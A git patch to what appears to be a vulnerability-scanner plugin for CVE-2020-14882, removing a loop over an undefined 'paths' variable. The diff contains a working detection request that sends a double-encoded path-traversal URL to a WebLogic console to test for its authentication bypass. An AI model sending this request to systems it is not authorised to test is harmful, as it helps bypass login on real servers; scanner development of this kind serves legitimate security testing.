From a69958fe783898e352d1a654bba0db8e75213d4c Mon Sep 17 00:00:00 2001 From: zhangkaibin0921 <82947463+zhangkaibin0921@users.noreply.github.com> Date: Fri, 24 Nov 2023 17:21:24 +0800 Subject: [PATCH] fix cve_2020_14882.py bug MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit paths没有定义,直接跳过for循环执行了 --- stars/cve_2020_14882.py | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/stars/cve_2020_14882.py b/stars/cve_2020_14882.py index 90188ba..4582915 100644 --- a/stars/cve_2020_14882.py +++ b/stars/cve_2020_14882.py @@ -22,14 +22,9 @@ class CVE_2020_14882(Star): def light_up(self, dip, dport, force_ssl=None, *args, **kwargs) -> (bool, dict): session = requests.session() - for path in paths: - http('http://{}:{}/console/css/%252e%252e%252fconsole.portal'.format(dip, - dport), ssl=force_ssl, session=session) - r, data = http('http://{}:{}/console/css/%252e%252e%252fconsole.portal'.format( - dip, dport), ssl=force_ssl, session=session) - - if r and r.status_code == 200: - return True, {'url': r.url} + r, data = http('http://{}:{}/console/css/%252e%252e%252fconsole.portal'.format(dip, dport), ssl=force_ssl, session=session) + if r and r.status_code == 200: + return True, {'url': r.url} return False, {}